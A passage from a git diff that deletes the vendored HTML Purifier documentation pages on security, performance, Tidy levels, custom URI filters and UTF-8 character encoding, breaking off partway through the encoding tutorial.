    tags traditionally are closed by other block-level - elements. -4. Run through all nodes and check children for proper order (especially - important for tables). -5. Validate attributes according to more restrictive definitions based on the - RFCs. -6. Translate back into a string. (Generator) - -HTML Purifier is best suited for documents that require a rich array of -HTML tags. Things like blog comments are, in all likelihood, most appropriately -written in an extremely restrictive set of markup that doesn't require -all this functionality (or not written in HTML at all), although this may -be changing in the future with the addition of levels of filtering. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-security.txt b/vendor/ezyang/htmlpurifier/docs/enduser-security.txt deleted file mode 100644 index ebf2254a08..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-security.txt +++ /dev/null @@ -1,18 +0,0 @@ - -Security - -Like anything that claims to afford security, HTML_Purifier can be circumvented -through negligence of people. This class will do its job: no more, no less, -and it's up to you to provide it the proper information and proper context -to be effective. Things to remember: - -1. Character Encoding: see enduser-utf8.html for more info. - -2. IDs: see enduser-id.html for more info - -3. URIs: see enduser-uri-filter.html - -4. CSS: document pending -Explain which CSS styles we blocked and why. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-slow.html b/vendor/ezyang/htmlpurifier/docs/enduser-slow.html deleted file mode 100644 index 4872c94c8f..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-slow.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - -Speeding up HTML Purifier - HTML Purifier - - - -

    Speeding up HTML Purifier

    -
    ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
    - -
    Filed under End-User
    -
    -
    HTML Purifier End-User Documentation
    - -

    HTML Purifier is a very powerful library. But with power comes great -responsibility, in the form of longer execution times. Remember, this -library isn't lightly grazing over submitted HTML: it's deconstructing -the whole thing, rigorously checking the parts, and then putting it back -together.

    - -

    So, if it so turns out that HTML Purifier is kinda too slow for outbound -filtering, you've got a few options:

    - -

    Inbound filtering

    - -

    Perform filtering of HTML when it's submitted by the user. Since the -user is already submitting something, an extra half a second tacked on -to the load time probably isn't going to be that huge of a problem. -Then, displaying the content is a simple a manner of outputting it -directly from your database/filesystem. The trouble with this method is -that your user loses the original text, and when doing edits, will be -handling the filtered text. While this may be a good thing, especially -if you're using a WYSIWYG editor, it can also result in data-loss if a -user makes a typo.

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * FORM SUBMISSION PAGE
    -     * display_error($message) : displays nice error page with message
    -     * display_success() : displays a nice success page
    -     * display_form() : displays the HTML submission form
    -     * database_insert($html) : inserts data into database as new row
    -     */
    -    if (!empty($_POST)) {
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
    -        if (!$dirty_html) {
    -            display_error('You must write some HTML!');
    -        }
    -        $html = HTMLPurifier($dirty_html);
    -        database_insert($html);
    -        display_success();
    -        // notice that $dirty_html is *not* saved
    -    } else {
    -        display_form();
    -    }
    -?>
    - -

    Caching the filtered output

    - -

    Accept the submitted text and put it unaltered into the database, but -then also generate a filtered version and stash that in the database. -Serve the filtered version to readers, and the unaltered version to -editors. If need be, you can invalidate the cache and have the cached -filtered version be regenerated on the first page view. Pros? Full data -retention. Cons? It's more complicated, and opens other editors up to -XSS if they are using a WYSIWYG editor (to fix that, they'd have to be -able to get their hands on the *really* original text served in -plaintext mode).

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * VIEW PAGE
    -     * display_error($message) : displays nice error page with message
    -     * cache_get($id) : retrieves HTML from fast cache (db or file)
    -     * cache_insert($id, $html) : inserts good HTML into cache system
    -     * database_get($id) : retrieves raw HTML from database
    -     */
    -    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
    -    if (!$id) {
    -        display_error('Must specify ID.');
    -        exit;
    -    }
    -    $html = cache_get($id); // filesystem or database
    -    if ($html === false) {
    -        // cache didn't have the HTML, generate it
    -        $raw_html = database_get($id);
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $html = HTMLPurifier($raw_html);
    -        cache_insert($id, $html);
    -    }
    -    echo $html;
    -?>
    - -

    Summary

    - -

    In short, inbound filtering is the simple option and caching is the -robust option (albeit with bigger storage requirements).

    - -

    There is a third option, independent of the two we've discussed: profile -and optimize HTMLPurifier yourself. Be sure to report back your results -if you decide to do that! Especially if you port HTML Purifier to C++. -;-)

    - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html b/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html deleted file mode 100644 index b33a4c9aa4..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - -Tidy - HTML Purifier - - - -

    Tidy

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    You've probably heard of HTML Tidy, Dave Raggett's little piece -of software that cleans up poorly written HTML. Let me say it straight -out:

    - -

    This ain't HTML Tidy!

    - -

    Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier -that allows users to submit deprecated elements and attributes and get -valid strict markup back. For example:

    - -
    <center>Centered</center>
    - -

    ...becomes:

    - -
    <div style="text-align:center;">Centered</div>
    - -

    ...when this particular fix is run on the HTML. This tutorial will give -you the lowdown of what exactly HTML Purifier will do when Tidy -is on, and how to fine-tune this behavior. Once again, you do -not need Tidy installed on your PHP to use these features!

    - -

    What does it do?

    - -

    Tidy will do several things to your HTML:

    - -
      -
    • Convert deprecated elements and attributes to standards-compliant - alternatives
    • -
    • Enforce XHTML compatibility guidelines and other best practices
    • -
    • Preserve data that would normally be removed as per W3C
    • -
    - -

    What are levels?

    - -

    Levels describe how aggressive the Tidy module should be when -cleaning up HTML. There are four levels to pick: none, light, medium -and heavy. Each of these levels has a well-defined set of behavior -associated with it, although it may change depending on your doctype.

    - -
    -
    light
    -
    This is the lenient level. If a tag or attribute - is about to be removed because it isn't supported by the - doctype, Tidy will step in and change into an alternative that - is supported.
    -
    medium
    -
    This is the correctional level. At this level, - all the functions of light are performed, as well as some extra, - non-essential best practices enforcement. Changes made on this - level are very benign and are unlikely to cause problems.
    -
    heavy
    -
    This is the aggressive level. If a tag or - attribute is deprecated, it will be converted into a non-deprecated - version, no ifs ands or buts.
    -
    - -

    By default, Tidy operates on the medium level. You can -change the level of cleaning by setting the %HTML.TidyLevel configuration -directive:

    - -
    $config->set('HTML.TidyLevel', 'heavy'); // burn baby burn!
    - -

    Is the light level really light?

    - -

    It depends on what doctype you're using. If your documents are HTML -4.01 Transitional, HTML Purifier will be lazy -and won't clean up your center -or font tags. But if you're using HTML 4.01 Strict, -HTML Purifier has no choice: it has to convert them, or they will -be nuked out of existence. So while light on Transitional will result -in little to no changes, light on Strict will still result in quite -a lot of fixes.

    - -

    This is different behavior from 1.6 or before, where deprecated -tags in transitional documents would -always be cleaned up regardless. This is also better behavior.

    - -

    My pages look different!

    - -

    HTML Purifier is tasked with converting deprecated tags and -attributes to standards-compliant alternatives, which usually -need copious amounts of CSS. It's also not foolproof: sometimes -things do get lost in the translation. This is why when HTML Purifier -can get away with not doing cleaning, it won't; this is why -the default value is medium and not heavy.

    - -

    Fortunately, only a few attributes have problems with the switch -over. They are described below:

    - - - - - - - - - - - - - - - - - - - - - - - - -
    Element@AttrChanges
    caption@alignFirefox supports stuffing the caption on the - left and right side of the table, a feature that - Internet Explorer, understandably, does not have. - When align equals right or left, the text will simply - be aligned on the left or right side.
    img@alignThe implementation for align bottom is good, but not - perfect. There are a few pixel differences.
    br@clearClear both gets a little wonky in Internet Explorer. Haven't - really been able to figure out why.
    hr@noshadeAll browsers implement this slightly differently: we've - chosen to make noshade horizontal rules gray.
    - -

    There are a few more minor, although irritating, bugs. -Some older browsers support deprecated attributes, -but not CSS. Transformed elements and attributes will look unstyled -to said browsers. Also, CSS precedence is slightly different for -inline styles versus presentational markup. In increasing precedence:

    - -
      -
    1. Presentational attributes
    2. -
    3. External style sheets
    4. -
    5. Inline styling
    6. -
    - -

    This means that styling that may have been masked by external CSS -declarations will start showing up (a good thing, perhaps). Finally, -if you've turned off the style attribute, almost all of -these transformations will not work. Sorry mates.

    - -

    You can review the rendering before and after of these transformations -by consulting the attrTransform.php -smoketest.

    - -

    I like the general idea, but the specifics bug me!

    - -

    So you want HTML Purifier to clean up your HTML, but you're not -so happy about the br@clear implementation. That's perfectly fine! -HTML Purifier will make accomodations:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'heavy'); // all changes, minus...
    -$config->set('HTML.TidyRemove', 'br@clear');
    - -

    That third line does the magic, removing the br@clear fix -from the module, ensuring that <br clear="both" /> -will pass through unharmed. The reverse is possible too:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'none'); // no changes, plus...
    -$config->set('HTML.TidyAdd', 'p@align');
    - -

    In this case, all transformations are shut off, except for the p@align -one, which you found handy.

    - -

    To find out what the names of fixes you want to turn on or off are, -you'll have to consult the source code, specifically the files in -HTMLPurifier/HTMLModule/Tidy/. There is, however, a -general syntax:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameExampleInterpretation
    elementfontTag transform for element
    element@attrbr@clearAttribute transform for attr on element
    @attr@langGlobal attribute transform for attr
    e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
    - -

    So... what's the lowdown?

    - -

    The lowdown is, quite frankly, HTML Purifier's default settings are -probably good enough. The next step is to bump the level up to heavy, -and if that still doesn't satisfy your appetite, do some fine-tuning. -Other than that, don't worry about it: this all works silently and -effectively in the background.

    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html b/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html deleted file mode 100644 index b14e9c8802..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html +++ /dev/null @@ -1,204 +0,0 @@ - - - - - - - -URI Filters - HTML Purifier - - - -

    URI Filters

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - This is a quick and dirty document to get you on your way to writing - custom URI filters for your own URL filtering needs. Why would you - want to write a URI filter? If you need URIs your users put into - HTML to magically change into a different URI, this is - exactly what you need! -

    - -

    Creating the class

    - -

    - Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. - The scaffolding is thus: -

    - -
    class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'NameOfFilter';
    -    public function prepare($config) {}
    -    public function filter(&$uri, $config, $context) {}
    -}
    - -

    - Fill in the variable $name with the name of your filter, and - take a look at the two methods. prepare() is an initialization - method that is called only once, before any filtering has been done of the - HTML. Use it to perform any costly setup work that only needs to be done - once. filter() is the guts and innards of our filter: - it takes the URI and does whatever needs to be done to it. -

    - -

    - If you've worked with HTML Purifier, you'll recognize the $config - and $context parameters. On the other hand, $uri - is something unique to this section of the application: it's a - HTMLPurifier_URI object. The interface is thus: -

    - -
    class HTMLPurifier_URI
    -{
    -    public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
    -    public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
    -    public function toString();
    -    public function copy();
    -    public function getSchemeObj($config, $context);
    -    public function validate($config, $context);
    -}
    - -

    - The first three methods are fairly self-explanatory: you have a constructor, - a serializer, and a cloner. Generally, you won't be using them when - you are manipulating the URI objects themselves. - getSchemeObj() is a special purpose method that returns - a HTMLPurifier_URIScheme object corresponding to the specific - URI at hand. validate() performs general-purpose validation - on the internal components of a URI. Once again, you don't need to - worry about these: they've already been handled for you. -

    - -

    URI format

    - -

    - As a URIFilter, we're interested in the member variables of the URI object. -

    - - - - - - - - - -
    Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
    Userinfo User information such as a username (bob)
    Host Domain name or IP address of the server (example.com, 127.0.0.1)
    Port Network port number for the server (80, 12345)
    Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
    Query String of information to be interpreted by the resource (?q=search-term)
    Fragment Additional information for the resource after retrieval (#bookmark)
    - -

    - Because the URI is presented to us in this form, and not - http://bob@example.com:8080/foo.php?q=string#hash, it saves us - a lot of trouble in having to parse the URI every time we want to filter - it. For the record, the above URI has the following components: -

    - - - - - - - - - -
    Scheme http
    Userinfo bob
    Host example.com
    Port 8080
    Path /foo.php
    Query q=string
    Fragment hash
    - -

    - Note that there is no question mark or octothorpe in the query or - fragment: these get removed during parsing. -

    - -

    - With this information, you can get straight to implementing your - filter() method. But one more thing... -

    - -

    Return value: Boolean, not URI

    - -

    - You may have noticed that the URI is being passed in by reference. - This means that whatever changes you make to it, those changes will - be reflected in the URI object the callee had. Do not - return the URI object: it is unnecessary and will cause bugs. - Instead, return a boolean value, true if the filtering was successful, - or false if the URI is beyond repair and needs to be axed. -

    - -

    - Let's suppose I wanted to write a filter that converted links with a - custom image scheme to its corresponding real path on - our website: -

    - -
    class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'TransformImageScheme';
    -    public function filter(&$uri, $config, $context) {
    -        if ($uri->scheme !== 'image') return true;
    -        $img_name = $uri->path;
    -        // Overwrite the previous URI object
    -        $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
    -        return true;
    -    }
    -}
    - -

    - Notice I did not return $uri;. This filter would turn - image:Foo into /img/Foo.png. -

    - -

    Activating your filter

    - -

    - Having a filter is all well and good, but you need to tell HTML Purifier - to use it. Fortunately, this part's simple: -

    - -
    $uri = $config->getDefinition('URI');
    -$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter(), $config);
    - -

    - After adding a filter, you won't be able to set configuration directives. - Structure your code accordingly. -

    - - - -

    Post-filter

    - -

    - Remember our TransformImageScheme filter? That filter acted before we had - performed scheme validation; otherwise, the URI would have been filtered - out when it was discovered that there was no image scheme. Well, a post-filter - is run after scheme specific validation, so it's ideal for bulk - post-processing of URIs, including munging. To specify a URI as a post-filter, - set the $post member variable to TRUE. -

    - -
    class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'MyPostFilter';
    -    public $post = true;
    -    // ... extra code here
    -}
    -
    - -

    Examples

    - -

    - Check the - URIFilter - directory for more implementation examples, and see the - new directives proposal document for ideas on what could be implemented - as a filter. -

    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html b/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html deleted file mode 100644 index 71894d025e..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html +++ /dev/null @@ -1,1060 +0,0 @@ - - - - - - - - -UTF-8: The Secret of Character Encoding - HTML Purifier - - - - - -

    UTF-8: The Secret of Character Encoding

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Character encoding and character sets are not that -difficult to understand, but so many people blithely stumble -through the worlds of programming without knowing what to actually -do about it, or say "Ah, it's a job for those internationalization -experts." No, it is not! This document will walk you through -determining the encoding of your system and how you should handle -this information. It will stay away from excessive discussion on -the internals of character encoding.

    - -

    This document is not designed to be read in its entirety: it will -slowly introduce concepts that build on each other: you need not get to -the bottom to have learned something new. However, I strongly -recommend you read all the way to Why UTF-8?, because at least -at that point you'd have made a conscious decision not to migrate, -which can be a rewarding (but difficult) task.

    - -
    -
    Asides
    -

    Text in this formatting is an aside, - interesting tidbits for the curious but not strictly necessary material to - do the tutorial. If you read this text, you'll come out - with a greater understanding of the underlying issues.

    -
    - -

    Table of Contents

    - -
      -
    1. Finding the real encoding
    2. -
    3. Finding the embedded encoding
    4. -
    5. Fixing the encoding
        -
      1. No embedded encoding
      2. -
      3. Embedded encoding disagrees
      4. -
      5. Changing the server encoding
          -
        1. PHP header() function
        2. -
        3. PHP ini directive
        4. -
        5. Non-PHP
        6. -
        7. .htaccess
        8. -
        9. File extensions
        10. -
      6. -
      7. XML
      8. -
      9. Inside the process
      10. -
    6. -
    7. Why UTF-8?
        -
      1. Internationalization
      2. -
      3. User-friendly
      4. -
      5. Forms
          -
        1. application/x-www-form-urlencoded
        2. -
        3. multipart/form-data
        4. -
      6. -
      7. Well supported
      8. -
      9. HTML Purifiers
      10. -
    8. -
    9. Migrate to UTF-8
        -
      1. Configuring your database
          -
        1. Legit method
        2. -
        3. Binary
        4. -
      2. -
      3. Text editor
      4. -
      5. Byte Order Mark (headers already sent!)
      6. -
      7. Fonts
          -
        1. Obscure scripts
        2. -
        3. Occasional use
        4. -
      8. -
      9. Dealing with variable width in functions
      10. -
    10. -
    11. Further Reading
    12. -
    - -

    Finding the real encoding

    - -

    In the beginning, there was ASCII, and things were simple. But they -weren't good, for no one could write in Cyrillic or Thai. So there -exploded a proliferation of character encodings to remedy the problem -by extending the characters ASCII could express. This ridiculously -simplified version of the history of character encodings shows us that -there are now many character encodings floating around.

    - -
    -

    A character encoding tells the computer how to - interpret raw zeroes and ones into real characters. It - usually does this by pairing numbers with characters.

    -

    There are many different types of character encodings floating - around, but the ones we deal most frequently with are ASCII, - 8-bit encodings, and Unicode-based encodings.

    -
      -
    • ASCII is a 7-bit encoding based on the - English alphabet.
    • -
    • 8-bit encodings are extensions to ASCII - that add a potpourri of useful, non-standard characters - like é and æ. They can only add 127 characters, - so usually only support one script at a time. When you - see a page on the web, chances are it's encoded in one - of these encodings.
    • -
    • Unicode-based encodings implement the - Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4. - They go beyond 8-bits and support almost - every language in the world. UTF-8 is gaining traction - as the dominant international encoding of the web.
    • -
    -
    - -

    The first step of our journey is to find out what the encoding of -your website is. The most reliable way is to ask your -browser:

    - -
    -
    Mozilla Firefox
    -
    Tools > Page Info: Encoding
    -
    Internet Explorer
    -
    View > Encoding: bulleted item is unofficial name
    -
    - -

    Internet Explorer won't give you the MIME (i.e. useful/real) name of the -character encoding, so you'll have to look it up using their description. -Some common ones:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    IE's DescriptionMime Name
    Windows
    Arabic (Windows)Windows-1256
    Baltic (Windows)Windows-1257
    Central European (Windows)Windows-1250
    Cyrillic (Windows)Windows-1251
    Greek (Windows)Windows-1253
    Hebrew (Windows)Windows-1255
    Thai (Windows)TIS-620
    Turkish (Windows)Windows-1254
    Vietnamese (Windows)Windows-1258
    Western European (Windows)Windows-1252
    ISO
    Arabic (ISO)ISO-8859-6
    Baltic (ISO)ISO-8859-4
    Central European (ISO)ISO-8859-2
    Cyrillic (ISO)ISO-8859-5
    Estonian (ISO)ISO-8859-13
    Greek (ISO)ISO-8859-7
    Hebrew (ISO-Logical)ISO-8859-8-l
    Hebrew (ISO-Visual)ISO-8859-8
    Latin 9 (ISO)ISO-8859-15
    Turkish (ISO)ISO-8859-9
    Western European (ISO)ISO-8859-1
    Other
    Chinese Simplified (GB18030)GB18030
    Chinese Simplified (GB2312)GB2312
    Chinese Simplified (HZ)HZ
    Chinese Traditional (Big5)Big5
    Japanese (Shift-JIS)Shift_JIS
    Japanese (EUC)EUC-JP
    KoreanEUC-KR
    Unicode (UTF-8)UTF-8
    - -

    Internet Explorer does not recognize some of the more obscure -character encodings, and having to lookup the real names with a table -is a pain, so I recommend using Mozilla Firefox to find out your -character encoding.

    - -

    Finding the embedded encoding

    - -

    At this point, you may be asking, "Didn't we already find out our -encoding?" Well, as it turns out, there are multiple places where -a web developer can specify a character encoding, and one such place -is in a META tag:

    - -
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    - -

    You'll find this in the HEAD section of an HTML document. -The text to the right of charset= is the "claimed" -encoding: the HTML claims to be this encoding, but whether or not this -is actually the case depends on other factors. For now, take note -if your META tag claims that either:

    - -
      -
    1. The character encoding is the same as the one reported by the - browser,
    2. -
    3. The character encoding is different from the browser's, or
    4. -
    5. There is no META tag at all! (horror, horror!)
    6. -
    - -

    Fixing the encoding

    - -

    The advice given here is for pages being served as -vanilla text/html. Different practices must be used -for application/xml or application/xml+xhtml, see -W3C's -document on XHTML media types for more information.

    - -

    If your META encoding and your real encoding match, -savvy! You can skip this section. If they don't...

    - -

    No embedded encoding

    - -

    If this is the case, you'll want to add in the appropriate -META tag to your website. It's as simple as copy-pasting -the code snippet above and replacing UTF-8 with whatever is the mime name -of your real encoding.

    - -
    -

    For all those skeptics out there, there is a very good reason - why the character encoding should be explicitly stated. When the - browser isn't told what the character encoding of a text is, it - has to guess: and sometimes the guess is wrong. Hackers can manipulate - this guess in order to slip XSS past filters and then fool the - browser into executing it as active code. A great example of this - is the Google UTF-7 - exploit.

    -

    You might be able to get away with not specifying a character - encoding with the META tag as long as your webserver - sends the right Content-Type header, but why risk it? Besides, if - the user downloads the HTML file, there is no longer any webserver - to define the character encoding.

    -
    - -

    Embedded encoding disagrees

    - -

    This is an extremely common mistake: another source is telling -the browser what the -character encoding is and is overriding the embedded encoding. This -source usually is the Content-Type HTTP header that the webserver (i.e. -Apache) sends. A usual Content-Type header sent with a page might -look like this:

    - -
    Content-Type: text/html; charset=ISO-8859-1
    - -

    Notice how there is a charset parameter: this is the webserver's -way of telling a browser what the character encoding is, much like -the META tags we touched upon previously.

    - -

    In fact, the META tag is -designed as a substitute for the HTTP header for contexts where -sending headers is impossible (such as locally stored files without -a webserver). Thus the name http-equiv (HTTP equivalent). -

    - -

    There are two ways to go about fixing this: changing the META -tag to match the HTTP header, or changing the HTTP header to match -the META tag. How do we know which to do? It depends -on the website's content: after all, headers and tags are only ways of -describing the actual characters on the web page.

    - -

    If your website:

    - -
    -
    ...only uses ASCII characters,
    -
    Either way is fine, but I recommend switching both to - UTF-8 (more on this later).
    -
    ...uses special characters, and they display - properly,
    -
    Change the embedded encoding to the server encoding.
    -
    ...uses special characters, but users often complain that - they come out garbled,
    -
    Change the server encoding to the embedded encoding.
    -
    - -

    Changing a META tag is easy: just swap out the old encoding -for the new. Changing the server (HTTP header) encoding, however, -is slightly more difficult.

    - -

    Changing the server encoding

    - -

    PHP header() function

    - -

    The simplest way to handle this problem is to send the encoding -yourself, via your programming language. Since you're using HTML -Purifier, I'll assume PHP, although it's not too difficult to do -similar things in -other -languages. The appropriate code is:

    - -
    header('Content-Type:text/html; charset=UTF-8');
    - -

    ...replacing UTF-8 with whatever your embedded encoding is. -This code must come before any output, so be careful about -stray whitespace in your application (i.e., any whitespace before -output excluding whitespace within <?php ?> tags).

    - -

    PHP ini directive

    - -

    PHP also has a neat little ini directive that can save you a -header call: default_charset. Using this code:

    - -
    ini_set('default_charset', 'UTF-8');
    - -

    ...will also do the trick. If PHP is running as an Apache module (and -not as FastCGI, consult -phpinfo() for details), you can even use htaccess to apply this property -across many PHP files:

    - -
    php_value default_charset "UTF-8"
    - -

    As with all INI directives, this can -also go in your php.ini file. Some hosting providers allow you to customize -your own php.ini file, ask your support for details. Use:

    -
    default_charset = "utf-8"
    - -

    Non-PHP

    - -

    You may, for whatever reason, need to set the character encoding -on non-PHP files, usually plain ol' HTML files. Doing this -is more of a hit-or-miss process: depending on the software being -used as a webserver and the configuration of that software, certain -techniques may work, or may not work.

    - -

    .htaccess

    - -

    On Apache, you can use an .htaccess file to change the character -encoding. I'll defer to -W3C -for the in-depth explanation, but it boils down to creating a file -named .htaccess with the contents:

    - -
    AddCharset UTF-8 .html
    - -

    Where UTF-8 is replaced with the character encoding you want to -use and .html is a file extension that this will be applied to. This -character encoding will then be set for any file directly in -or in the subdirectories of directory you place this file in.

    - -

    If you're feeling particularly courageous, you can use:

    - -
    AddDefaultCharset UTF-8
    - -

    ...which changes the character set Apache adds to any document that -doesn't have any Content-Type parameters. This directive, which the -default configuration file sets to iso-8859-1 for security -reasons, is probably why your headers mismatch -with the META tag. If you would prefer Apache not to be -butting in on your character encodings, you can tell it not -to send anything at all:

    - -
    AddDefaultCharset Off
    - -

    ...making your internal charset declaration (usually the META tags) -the sole source of character encoding -information. In these cases, it is especially important to make -sure you have valid META tags on your pages and all the -text before them is ASCII.

    - -

    These directives can also be -placed in httpd.conf file for Apache, but -in most shared hosting situations you won't be able to edit this file. -

    - -

    File extensions

    - -

    If you're not allowed to use .htaccess files, you can often -piggy-back off of Apache's default AddCharset declarations to get -your files in the proper extension. Here are Apache's default -character set declarations:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CharsetFile extension(s)
    ISO-8859-1.iso8859-1 .latin1
    ISO-8859-2.iso8859-2 .latin2 .cen
    ISO-8859-3.iso8859-3 .latin3
    ISO-8859-4.iso8859-4 .latin4
    ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
    ISO-8859-6.iso8859-6 .latin6 .arb
    ISO-8859-7.iso8859-7 .latin7 .grk
    ISO-8859-8.iso8859-8 .latin8 .heb
    ISO-8859-9.iso8859-9 .latin9 .trk
    ISO-2022-JP.iso2022-jp .jis
    ISO-2022-KR.iso2022-kr .kis
    ISO-2022-CN.iso2022-cn .cis
    Big5.Big5 .big5 .b5
    WINDOWS-1251.cp-1251 .win-1251
    CP866.cp866
    KOI8-r.koi8-r .koi8-ru
    KOI8-ru.koi8-uk .ua
    ISO-10646-UCS-2.ucs2
    ISO-10646-UCS-4.ucs4
    UTF-8.utf8
    GB2312.gb2312 .gb
    utf-7.utf7
    EUC-TW.euc-tw
    EUC-JP.euc-jp
    EUC-KR.euc-kr
    shift_jis.sjis
    - -

    So, for example, a file named page.utf8.html or -page.html.utf8 will probably be sent with the UTF-8 charset -attached, the difference being that if there is an -AddCharset charset .html declaration, it will override -the .utf8 extension in page.utf8.html (precedence moves -from right to left). By default, Apache has no such declaration.

    - -

    Microsoft IIS

    - -

    If anyone can contribute information on how to configure Microsoft -IIS to change character encodings, I'd be grateful.

    - -

    XML

    - -

    META tags are the most common source of embedded -encodings, but they can also come from somewhere else: XML -Declarations. They look like:

    - -
    <?xml version="1.0" encoding="UTF-8"?>
    - -

    ...and are most often found in XML documents (including XHTML).

    - -

    For XHTML, this XML Declaration theoretically -overrides the META tag. In reality, this happens only when the -XHTML is actually served as legit XML and not HTML, which is almost always -never due to Internet Explorer's lack of support for -application/xhtml+xml (even though doing so is often -argued to be good -practice and is required by the XHTML 1.1 specification).

    - -

    For XML, however, this XML Declaration is extremely important. -Since most webservers are not configured to send charsets for .xml files, -this is the only thing a parser has to go on. Furthermore, the default -for XML files is UTF-8, which often butts heads with more common -ISO-8859-1 encoding (you see this in garbled RSS feeds).

    - -

    In short, if you use XHTML and have gone through the -trouble of adding the XML Declaration, make sure it jives -with your META tags (which should only be present -if served in text/html) and HTTP headers.

    - -

    Inside the process

    - -

    This section is not required reading, -but may answer some of your questions on what's going on in all -this character encoding hocus pocus. If you're interested in -moving on to the next phase, skip this section.

    - -

    A logical question that follows all of our wheeling and dealing -with multiple sources of character encodings is "Why are there -so many options?" To answer this question, we have to turn -back our definition of character encodings: they allow a program -to interpret bytes into human-readable characters.

    - -

    Thus, a chicken-egg problem: a character encoding -is necessary to interpret the -text of a document. A META tag is in the text of a document. -The META tag gives the character encoding. How can we -determine the contents of a META tag, inside the text, -if we don't know it's character encoding? And how do we figure out -the character encoding, if we don't know the contents of the -META tag?

    - -

    Fortunately for us, the characters we need to write the -META are in ASCII, which is pretty much universal -over every character encoding that is in common use today. So, -all the web-browser has to do is parse all the way down until -it gets to the Content-Type tag, extract the character encoding -tag, then re-parse the document according to this new information.

    - -

    Obviously this is complicated, so browsers prefer the simpler -and more efficient solution: get the character encoding from a -somewhere other than the document itself, i.e. the HTTP headers, -much to the chagrin of HTML authors who can't set these headers.

    - -

    Why UTF-8?

    - -

    So, you've gone through all the trouble of ensuring that your -server and embedded characters all line up properly and are -present. Good job: at -this point, you could quit and rest easy knowing that your pages -are not vulnerable to character encoding style XSS attacks. -However, just as having a character encoding is better than -having no character encoding at all, having UTF-8 as your -character encoding is better than having some other random -character encoding, and the next step is to convert to UTF-8. -But why?

    - -

    Internationalization

    - -

    Many software projects, at one point or another, suddenly realize -that they should be supporting more than one language. Even regular -usage in one language sometimes requires the occasional special character -that, without surprise, is not available in your character set. Sometimes -developers get around this by adding support for multiple encodings: when -using Chinese, use Big5, when using Japanese, use Shift-JIS, when -using Greek, etc. Other times, they use character references with great -zeal.

    - -

    UTF-8, however, obviates the need for any of these complicated -measures. After getting the system to use UTF-8 and adjusting for -sources that are outside the hand of the browser (more on this later), -UTF-8 just works. You can use it for any language, even many languages -at once, you don't have to worry about managing multiple encodings, -you don't have to use those user-unfriendly entities.

    - -

    User-friendly

    - -

    Websites encoded in Latin-1 (ISO-8859-1) which occasionally need -a special character outside of their scope often will use a character -entity reference to achieve the desired effect. For instance, θ can be -written &theta;, regardless of the character encoding's -support of Greek letters.

    - -

    This works nicely for limited use of special characters, but -say you wanted this sentence of Chinese text: 激光, -這兩個字是甚麼意思. -The ampersand encoded version would look like this:

    - -
    &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
    - -

    Extremely inconvenient for those of us who actually know what -character entities are, totally unintelligible to poor users who don't! -Even the slightly more user-friendly, "intelligible" character -entities like &theta; will leave users who are -uninterested in learning HTML scratching their heads. On the other -hand, if they see θ in an edit box, they'll know that it's a -special character, and treat it accordingly, even if they don't know -how to write that character themselves.

    - -

    Wikipedia is a great case study for -an application that originally used ISO-8859-1 but switched to UTF-8 -when it became far to cumbersome to support foreign languages. Bots -will now actually go through articles and convert character entities -to their corresponding real characters for the sake of user-friendliness -and searchability. See -Meta's -page on special characters for more details. -

    - -

    Forms

    - -

